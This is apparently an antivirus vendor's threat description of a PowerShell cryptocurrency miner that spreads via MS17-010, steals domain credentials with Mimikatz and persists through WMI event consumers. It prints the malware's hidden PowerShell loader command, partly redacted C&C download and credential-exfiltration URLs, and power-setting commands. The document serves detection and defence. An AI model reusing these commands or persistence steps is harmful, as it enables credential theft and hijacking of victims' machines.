Coinminer.PS1.MALXMR.MPL

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It takes advantage of software vulnerabilities to propagate across networks.

It steals certain information from the system and/or the user.

It connects to certain websites to send and receive information. It uses the system's central processing unit (CPU) and/or graphical processing unit (GPU) resources to mine cryptocurrency.

Arrival Details

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Coinminer adds the following processes:

• netstat -anop -tcp
• powershell -NoP -NonI -W Hidden `"`$mon = ([WmiClass] 'root\default:Win32_Services').Properties['mon'].Value;`$funs = ([WmiClass] 'root\default:Win32_Services').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$funs)));Invoke-Command -ScriptBlock `$RemoteScriptBlock -ArgumentList @(`$mon, `$mon, 'Void', 0, '', '')`"

It adds the following mutexes to ensure that only one of its copies runs at any one time:

• MMLOLSacnner

Other System Modifications

This Coinminer deletes the following files:

• %Temp%\y1.bat

(Note: %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.)

Propagation

This Coinminer takes advantage of the following software vulnerabilities to propagate across networks:

• Microsoft Windows SMB Server (MS17-010) Vulnerability

Process Termination

This Coinminer terminates the following processes if found running in the affected system's memory:

• powershell -> if it has an established connection to ports 80, 14444, and 14433
• processes with established connection to ports 3333, 5555, or 7777.

Download Routine

This Coinminer connects to the following website(s) to download and execute a malicious file:

• If the infected machine is 32-bit, it downloads and executes the following in the accessed C&C:
  • {BLOCKED}.{BLOCKED}.127.157:8000/in3.ps1
  • node.{BLOCKED}v.com/in3.ps1
  • node2.{BLOCKED}v.com/in3.ps1
  • node3.{BLOCKED}v.com/in3.ps1
  • node4.{BLOCKED}v.com/in3.ps1

Information Theft

This Coinminer steals the following information:

• Domain Credentials via Mimikatz

Other Details

This Coinminer connects to the following website to send and receive information:

• {BLOCKED}.{BLOCKED}.127.157:8000/api.php?data={stolen credentials}
• node.{BLOCKED}v.com/api.php?data={stolen credentials}
• node2.{BLOCKED}v.com/api.php?data={stolen credentials}
• node3.{BLOCKED}v.com/api.php?data={stolen credentials}
• node4.{BLOCKED}v.com/api.php?data={stolen credentials}

It does the following:

• It automatically updates itself
• It deletes the following scheduled task:
  • yastcat
• It creates the following WMI classes under ROOT\subscription to achieve persistence in the system:
  • CommandLineEventConsumer
  • • Name: DSMEventLogConsumer
  • • CommandLineTemplate: powershell.exe -NoP -NonI -W Hidden -E {base64 encoded powershell command}
  • __EventFilter
  • • Name: DSMEventLogFilter
• It modifies power configuration settings using the following commands:
  • powercfg /CHANGE -standby-timeout-ac 0 (Standby timeout set to 0 minutes)
  • powercfg /CHANGE -hibernate-timeout-ac 0 (Hibernate timeout set to 0 minutes)
  • powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000 (Power buttons and lid close action set to do nothing)

It uses the system's central processing unit (CPU) and/or graphical processing unit (GPU) resources to mine cryptocurrency. This behavior makes the system run abnormally slow.